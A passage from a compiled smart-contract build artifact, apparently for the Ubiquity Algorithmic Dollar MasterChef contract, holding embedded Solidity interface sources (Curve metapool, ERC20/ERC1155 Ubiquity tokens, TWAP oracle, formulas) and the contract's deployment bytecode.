_base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC1155Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\\\";\\n\\n/// @title ERC1155 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC1155Ubiquity is IERC1155 {\\n function mint(\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) external;\\n\\n function mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) external;\\n\\n function burn(\\n address account,\\n uint256 id,\\n uint256 value\\n ) external;\\n\\n function burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory values\\n ) external;\\n\\n function pause() external;\\n\\n function unpause() external;\\n\\n function totalSupply() external view returns (uint256);\\n\\n function exists(uint256 id) external view returns (bool);\\n\\n function holderTokens() external view returns (uint256[] memory);\\n}\\n\",\"keccak256\":\"0x49a2cea3597a289be6297d1881a582842a021fbb69ee6703cfd74809d0e640af\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/ITWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface ITWAPOracle {\\n function update() external;\\n\\n function consult(address token) external view returns (uint256 amountOut);\\n}\\n\",\"keccak256\":\"0x363aabed248b8af1af9afffb9243afbce75e2af95afeabb1abea4dbfd73022d1\",\"license\":\"MIT\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IUbiquityFormulas.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface IUbiquityFormulas {\\n function durationMultiply(\\n uint256 _uLP,\\n uint256 _weeks,\\n uint256 _multiplier\\n ) external pure returns (uint256 _shares);\\n\\n function bonding(\\n uint256 _shares,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uBOND);\\n\\n function redeemBonds(\\n uint256 _uBOND,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uLP);\\n\\n function bondPrice(\\n uint256 _totalULP,\\n uint256 _totalUBOND,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _priceUBOND);\\n\\n function ugovMultiply(uint256 _multiplier, uint256 _price)\\n external\\n pure\\n returns (uint256 _newMultiplier);\\n}\\n\",\"keccak256\":\"0xfcdf335bdcc311c3676d3f1ff8972ad99a10cb83cfb5365b8fc1c26858bac5d1\",\"license\":\"MIT\"},\"contracts/utils/SafeAddArray.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\n// SPDX-License-Identifier: EUPL V1.2\\npragma solidity ^0.8.3;\\n\\n/**\\n * @dev Wrappers over Solidity's array push operations with added check\\n *\\n */\\nlibrary SafeAddArray {\\n /**\\n * @dev Returns the addition of two unsigned integers, reverting on\\n * overflow.\\n *\\n */\\n function add(bytes32[] storage array, bytes32 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(string[] storage array, string memory value) internal {\\n bytes32 hashValue = keccak256(bytes(value));\\n for (uint256 i; i < array.length; i++) {\\n if (keccak256(bytes(array[i])) == hashValue) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256[] memory values) internal {\\n for (uint256 i; i < values.length; i++) {\\n bool exist = false;\\n for (uint256 j; j < array.length; j++) {\\n if (array[j] == values[i]) {\\n exist = true;\\n break;\\n }\\n }\\n if (!exist) {\\n array.push(values[i]);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x91fe76b3329822312f636237bc19bf8d5b1943b489c782b997cde6e1c9bc47af\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x6080604052670de0b6b3a764000060045566038d7ea4c68000600555670de0b6b3a76400006006553480156200003457600080fd5b5060405162002b6d38038062002b6d833981016040819052620000579162000e40565b60016000908155600280546001600160a01b0319166001600160a01b0387161790554360085560095560056007556200008f620001fe565b825182518114620000e75760405162461bcd60e51b815260206004820152601e60248201527f5f616d6f756e7473206172726179206e6f742073616d65206c656e677468000060448201526064015b60405180910390fd5b81518114620001485760405162461bcd60e51b815260206004820152602660248201527f5f626f6e64696e675368617265494473206172726179206e6f742073616d65206044820152650d8cadccee8d60d31b6064820152608401620000de565b60005b81811015620001f257620001df8582815181106200017957634e487b7160e01b600052603260045260246000fd5b6020026020010151858381518110620001a257634e487b7160e01b600052603260045260246000fd5b6020026020010151858481518110620001cb57634e487b7160e01b600052603260045260246000fd5b60200260200101516200036f60201b60201c565b620001ea81620010da565b90506200014b565b50505050505062001124565b60006200020a6200047d565b9050600060065482111562000234576005546006546200022b908462001091565b1190506200024b565b6005548260065462000247919062001091565b1190505b80156200036b57600260009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b158015620002a157600080fd5b505afa158015620002b6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002dc919062000e23565b60048054604051631e53a55760e21b815291820152602481018490526001600160a01b03919091169063794e955c9060440160206040518083038186803b1580156200032757600080fd5b505afa1580156200033c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000362919062000f6e565b60045560068290555b5050565b6000818152600a602052604090206200038762000616565b805415620003d857600181015460095482546000929164e8d4a5100091620003b091906200106f565b620003bc91906200104e565b620003c8919062001091565b9050620003d6858262000935565b505b82816000016000828254620003ee919062001033565b9091555050600954815464e8d4a51000916200040a916200106f565b6200041691906200104e565b8160010181905550826001600082825462000432919062001033565b909155505060405183815282906001600160a01b038616907f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159060200160405180910390a350505050565b60025460408051638fe6368360e01b815290516000926001600160a01b031691638fe63683916004808301926020929190829003018186803b158015620004c357600080fd5b505afa158015620004d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004fe919062000e23565b6001600160a01b031663283583c6600260009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156200055b57600080fd5b505afa15801562000570573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000596919062000e23565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b158015620005d657600080fd5b505afa158015620005eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000611919062000f6e565b905090565b6008544311620006265762000933565b62000630620001fe565b60015462000642574360085562000933565b60006200064e62000a98565b90506000670de0b6b3a7640000600354836200066b91906200106f565b6200067791906200104e565b9050600260009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015620006c857600080fd5b505afa158015620006dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000703919062000e23565b6040516340c10f1960e01b8152306004820152602481018390526001600160a01b0391909116906340c10f1990604401600060405180830381600087803b1580156200074e57600080fd5b505af115801562000763573d6000803e3d6000fd5b50505050600260009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015620007b657600080fd5b505afa158015620007cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620007f1919062000e23565b6001600160a01b03166340c10f19600260009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200084e57600080fd5b505afa15801562000863573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000889919062000e23565b6007546200089890856200104e565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015620008df57600080fd5b505af1158015620008f4573d6000803e3d6000fd5b505050506001548164e8d4a510006200090e91906200106f565b6200091a91906200104e565b60095462000929919062001033565b6009555050436008555b565b60025460408051630b42165d60e41b815290516000926001600160a01b03169163b42165d0916004808301926020929190829003018186803b1580156200097b57600080fd5b505afa15801562000990573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009b6919062000e23565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a082319060240160206040518083038186803b158015620009fc57600080fd5b505afa15801562000a11573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a37919062000f6e565b90508083111562000a6d5762000a678482846001600160a01b031662000aba60201b62000d0c179092919060201c565b62000a92565b62000a928484846001600160a01b031662000aba60201b62000d0c179092919060201c565b50505050565b6004546008546000919062000aae904362001091565b6200061191906200106f565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b0390811663a9059cbb60e01b1790915262000b1291859162000b1716565b505050565b600062000b73826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031662000bf560201b62000d78179092919060201c565b80519091501562000b12578080602001905181019062000b94919062000f4c565b62000b125760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401620000de565b606062000c06848460008562000c10565b90505b9392505050565b60608247101562000c735760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401620000de565b62000c7e8562000d4c565b62000ccc5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401620000de565b600080866001600160a01b0316858760405162000cea919062000f87565b60006040518083038185875af1925050503d806000811462000d29576040519150601f19603f3d011682016040523d82523d6000602084013e62000d2e565b606091505b50909250905062000d4182828662000d56565b979650505050505050565b803b15155b919050565b6060831562000d6757508162000c09565b82511562000d785782518084602001fd5b8160405162461bcd60e51b8152600401620000de919062000fa5565b80516001600160a01b038116811462000d5157600080fd5b600082601f83011262000dbd578081fd5b8151602062000dd662000dd0836200100d565b62000fda565b80838252828201915082860187848660051b890101111562000df6578586fd5b855b8581101562000e165781518452928401929084019060010162000df8565b5090979650505050505050565b60006020828403121562000e35578081fd5b62000c098262000d94565b6000806000806080858703121562000e56578283fd5b62000e618562000d94565b602086810151919550906001600160401b038082111562000e80578586fd5b818801915088601f83011262000e94578586fd5b815162000ea562000dd0826200100d565b8082825285820191508585018c878560051b880101111562000ec557898afd5b8995505b8386101562000ef25762000edd8162000d94565b83526001959095019491860191860162000ec9565b5060408b0151909850945050508083111562000f0c578485fd5b62000f1a89848a0162000dac565b9450606088015192508083111562000f30578384fd5b505062000f408782880162000dac565b91505092959194509250565b60006020828403121562000f5e578081fd5b8151801515811462000c09578182fd5b60006020828403121562000f80578081fd5b5051919050565b6000825162000f9b818460208701620010ab565b9190910192915050565b600060208252825180602084015262000fc6816040850160208701620010ab565b601f01601f19169190910160400192915050565b604051601f8201601f191681016001600160401b03811182821017156200100557620010056200110e565b604052919050565b60006001600160401b038211156200102957620010296200110e565b5060051b60200190565b60008219821115620010495762001049620010f8565b500190565b6000826200106a57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156200108c576200108c620010f8565b500290565b600082821015620010a657620010a6620010f8565b500390565b60005b83811015620010c8578181015183820152602001620010ae565b8381111562000a925750506000910152565b6000600019821415620010f157620010f1620010f8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b611a3980620011346000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806378b3139b1161009757806389c80b6b1161006657806389c80b6b146101f6578063b5c5f67214610209578063c0d8012c1461021c578063ffd65a491461022f57610100565b806378b3139b146101a75780637b80a5c0146101ba5780637e7d09ca146101da5780637eb751c7146101e357610100565b806321933933116100d357806321933933146101625780633a98ef391461016b57806347e54e3814610173578063481c6a751461017c57610100565b8063053f14da146101055780630efe6a8b1461012157806316f0115b146101365780631aeb2d0914610159575b600080fd5b61010e60065481565b6040519081526020015b60405180910390f35b61013461012f366004611860565b610242565b005b600854600954610144919082565b60408051928352602083019190915201610118565b61010e60045481565b61010e60055481565b60015461010e565b61010e60035481565b60025461018f906001600160a01b031681565b6040516001600160a01b039091168152602001610118565b6101346101b53660046118cc565b610391565b6101cd6101c83660046118cc565b61050a565b6040516101189190611900565b61010e60075481565b61010e6101f13660046118cc565b610542565b6101346102043660046118cc565b6105fc565b610134610217366004611860565b610747565b61010e61022a3660046118cc565b6109c5565b61013461023d3660046118cc565b610b93565b6002600054141561029a5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b60026000819055546040805163de71c1db60e01b815290516001600160a01b039092169163de71c1db91600480820192602092909190829003018186803b1580156102e457600080fd5b505afa1580156102f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031c9190611844565b6001600160a01b0316336001600160a01b03161461037c5760405162461bcd60e51b815260206004820181905260248201527f4d6173746572436865663a206e6f7420426f6e64696e6720436f6e74726163746044820152606401610291565b610387838383610d91565b5050600160005550565b60025460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b1580156103de57600080fd5b505afa1580156103f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041691906118b4565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561045357600080fd5b505afa158015610467573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b9190611894565b6104d75760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e6167657200000000006044820152606401610291565b600581905560405181907fee9ca614114d0b14b7c182d61fbc2e9aed69823d5f4a3a6436f95da3a6d0a82490600090a250565b610512611826565b506040805180820182526000838152600a6020818152938220805484529490915282526001909201549082015290565b6000818152600a6020526040812060095460085443118015610565575060015415155b156105c7576000610574610e8c565b90506000670de0b6b3a76400006003548361058f919061199c565b610599919061197c565b6001549091506105ae8264e8d4a5100061199c565b6105b8919061197c565b6105c29084611964565b925050505b6001820154825464e8d4a51000906105e090849061199c565b6105ea919061197c565b6105f491906119bb565b949350505050565b60025460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b15801561064957600080fd5b505afa15801561065d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068191906118b4565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156106be57600080fd5b505afa1580156106d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f69190611894565b6107425760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e6167657200000000006044820152606401610291565b600755565b6002600054141561079a5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610291565b60026000819055546040805163de71c1db60e01b815290516001600160a01b039092169163de71c1db91600480820192602092909190829003018186803b1580156107e457600080fd5b505afa1580156107f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081c9190611844565b6001600160a01b0316336001600160a01b03161461087c5760405162461bcd60e51b815260206004820181905260248201527f4d6173746572436865663a206e6f7420426f6e64696e6720436f6e74726163746044820152606401610291565b6000818152600a6020526040902080548311156108db5760405162461bcd60e51b815260206004820152601360248201527f4d433a20616d6f756e7420746f6f2068696768000000000000000000000000006044820152606401610291565b6108e3610eaf565b600181015460095482546000929164e8d4a5100091610902919061199c565b61090c919061197c565b61091691906119bb565b905061092285826111aa565b8382600001600082825461093691906119bb565b9091555050600954825464e8d4a51000916109509161199c565b61095a919061197c565b8260010181905550836001600082825461097491906119bb565b909155505060405184815283906001600160a01b038716907ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689060200160405180910390a350506001600055505050565b6002546040805163310c7a0f60e21b815290516000926001600160a01b03169163c431e83c916004808301926020929190829003018186803b158015610a0a57600080fd5b505afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611844565b604051627eeac760e11b8152336004820152602481018490526001600160a01b03919091169062fdd58e9060440160206040518083038186803b158015610a8857600080fd5b505afa158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac091906118b4565b600114610b0f5760405162461bcd60e51b815260206004820152601760248201527f4d533a2063616c6c6572206973206e6f74206f776e65720000000000000000006044820152606401610291565b6000828152600a60205260409020610b25610eaf565b600181015460095482546000929164e8d4a5100091610b44919061199c565b610b4e919061197c565b610b5891906119bb565b9050610b6433826111aa565b600954825464e8d4a5100091610b799161199c565b610b83919061197c565b6001909201919091559050919050565b60025460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b158015610be057600080fd5b505afa158015610bf4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1891906118b4565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610c5557600080fd5b505afa158015610c69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8d9190611894565b610cd95760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e6167657200000000006044820152606401610291565b600381905560405181907f7f2defb81cc3cff687ded0c71592c972625223425d9b43db42a0a79b0fbf4bb790600090a250565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b179052610d739084906112e1565b505050565b6060610d8784846000856113c6565b90505b9392505050565b6000818152600a60205260409020610da7610eaf565b805415610def57600181015460095482546000929164e8d4a5100091610dcd919061199c565b610dd7919061197c565b610de191906119bb565b9050610ded85826111aa565b505b82816000016000828254610e039190611964565b9091555050600954815464e8d4a5100091610e1d9161199c565b610e27919061197c565b81600101819055508260016000828254610e419190611964565b909155505060405183815282906001600160a01b038616907f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159060200160405180910390a350505050565b60045460085460009190610ea090436119bb565b610eaa919061199c565b905090565b6008544311610ebd576111a8565b610ec5611505565b600154610ed557436008556111a8565b6000610edf610e8c565b90506000670de0b6b3a764000060035483610efa919061199c565b610f04919061197c565b9050600260009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5457600080fd5b505afa158015610f68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8c9190611844565b6040516340c10f1960e01b8152306004820152602481018390526001600160a01b0391909116906340c10f1990604401600060405180830381600087803b158015610fd657600080fd5b505af1158015610fea573d6000803e3d6000fd5b50505050600260009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561103c57600080fd5b505afa158015611050573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110749190611844565b6001600160a01b03166340c10f19600260009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110d057600080fd5b505afa1580156110e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111089190611844565b600754611115908561197c565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b15801561115b57600080fd5b505af115801561116f573d6000803e3d6000fd5b505050506001548164e8d4a51000611187919061199c565b611191919061197c565b60095461119e9190611964565b6009555050436008555b565b60025460408051630b42165d60e41b815290516000926001600160a01b03169163b42165d0916004808301926020929190829003018186803b1580156111ef57600080fd5b505afa158015611203573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112279190611844565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a082319060240160206040518083038186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906118b4565b9050808311156112c7576112c26001600160a01b0383168583610d0c565b6112db565b6112db6001600160a01b0383168585610d0c565b50505050565b6000611336826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610d789092919063ffffffff16565b805190915015610d7357808060200190518101906113549190611894565b610d735760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610291565b60608247101561143e5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610291565b843b61148c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726